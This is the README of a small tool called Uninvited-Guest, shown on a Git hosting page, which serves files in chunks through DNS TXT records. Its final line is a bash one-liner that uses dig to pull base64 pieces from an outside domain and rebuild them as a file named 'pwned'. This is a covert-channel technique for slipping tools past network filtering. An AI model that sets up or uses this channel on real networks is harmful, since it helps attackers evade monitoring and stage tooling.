Du kannst nicht mehr als 25 Themen auswählen
Themen müssen entweder mit einem Buchstaben oder einer Ziffer beginnen. Sie können Bindestriche („-“) enthalten und bis zu 35 Zeichen lang sein.
17 Zeilen
702 B
Markdown
17 Zeilen
702 B
Markdown
# Uninvited-Guest
|
|
Uninvited Guest - A file server for files over DNS TXT records
|
|
|
|
First set up your domain to point to which ever server you're hosting this on.
|
|
|
|
Then run the python server
|
|
|
|
./server --domain domainname.com --directory /dir/of/tools
|
|
|
|
It will only support a flat directory structure in /dir/of/tools
|
|
|
|
You will need to write your own client to receive files. The count of items will be in file.count.domainname.com and the strings will be in file.number.domainname.com.
|
|
|
|
An example bash client would be something like:
|
|
|
|
f="pwned.png";d="6-9.eu";c=$(dig +short txt $f.count.$d|tr -d \");for i in $(seq 0 $c);do echo -n $(dig +short txt $f.$i.$d|tr -d \");done | base64 -d > /tmp/pwned.png
|